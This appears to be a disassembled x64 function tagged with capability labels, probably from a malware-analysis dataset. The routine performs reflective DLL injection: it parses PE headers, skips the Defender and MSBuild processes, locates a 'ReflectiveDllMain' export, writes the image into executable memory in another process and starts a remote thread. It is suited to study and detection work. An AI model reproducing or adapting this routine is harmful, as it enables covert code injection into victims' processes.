Function at 0x180001e20
Capabilities:
Allocate or change rwx memory
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rdi, rdx
mov r14d, ecx
lea rdx, [rbp + 0x1e8]
xor ebx, ebx
call fcn.1800023c0
test eax, eax
je 0x180002117
movsxd rax, dword [rdi + 0x3c]
mov r12d, 0x4550
cmp dword [rax + rdi], r12d
jne 0x180002117
mov r15d, 0x10b
mov r13d, 0x20b
cmp word [rax + rdi + 0x18], r15w
je 0x180001e99
cmp word [rax + rdi + 0x18], r13w
jne 0x180002117
lea eax, [rbx + 1]
jmp 0x180001e9b
mov eax, ebx
cmp dword [rbp + 0x1e8], eax
jne 0x180002117
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x180002117
lea r8, [rbp - 0x80]
xor edx, edx
mov ecx, r14d
call fcn.180002530
test eax, eax
je 0x180001f1d
lea rax, str.MsMpEng.exe
mov r14d, ebx
mov qword [rsp + 0x68], rax
lea r15, [rsp + 0x68]
lea rax, str.MSBuild.exe
mov qword [rsp + 0x70], rax
mov rdx, qword [r15]
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x18000210e
inc r14d
add r15, 8
cmp r14d, 2
jb 0x180001ef5
mov r15d, 0x10b
mov r9d, 4
mov qword [rsp + 0x20], rbx
lea r8, [rbp + 0x1e8]
mov rcx, rsi
lea edx, [r9 + 0x19]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x18000210e
cmp dword [rbp + 0x1e8], ebx
jne 0x18000210e
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.180002458
test eax, eax
je 0x18000210e
cmp dword [rsp + 0x60], 0x2000
jb 0x18000210e
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], r12d
jne 0x18000210e
cmp word [rax + rdi + 0x18], r15w
je 0x180001f9e
cmp word [rax + rdi + 0x18], r13w
jne 0x18000210e
mov edx, dword [rax + rdi + 0x88]
jmp 0x180001fa2
mov edx, dword [rax + rdi + 0x78]
mov rcx, rdi
call fcn.1800025e0
mov r13d, eax
mov rcx, rdi
mov edx, dword [rdi + r13 + 0x20]
call fcn.1800025e0
mov edx, dword [rdi + r13 + 0x24]
mov rcx, rdi
mov r15d, eax
add r15, rdi
call fcn.1800025e0
mov r14d, eax
mov r12d, ebx
add r14, rdi
cmp dword [rdi + r13 + 0x18], ebx
jbe 0x18000210e
mov edx, dword [r15]
mov rcx, rdi
call fcn.1800025e0
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x18000201a
add r15, 4
add r14, 2
inc r12d
cmp r12d, dword [rdi + r13 + 0x18]
jb 0x180001fe1
jmp 0x18000210e
mov edx, dword [rdi + r13 + 0x1c]
mov rcx, rdi
call fcn.1800025e0
movzx ecx, word [r14]
mov edx, eax
add rdx, rdi
mov edx, dword [rdx + rcx*4]
mov rcx, rdi
call fcn.1800025e0
mov r12d, eax
test eax, eax
je 0x18000210e
mov r15d, dword [rbp + 0x1e0]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x18000210e
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000210e
lea rax, [r14 + r12]
mov qword [rsp + 0x28], r14
mov r9, rsi
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x68], rbx
call fcn.180002648
test eax, eax
js 0x18000210e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18000210e
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180002103
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1800020e8
cmp dword [rsp + 0x60], ebx
setne bl
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
neg eax
sbb ecx, ecx
and ebx, ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x290
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret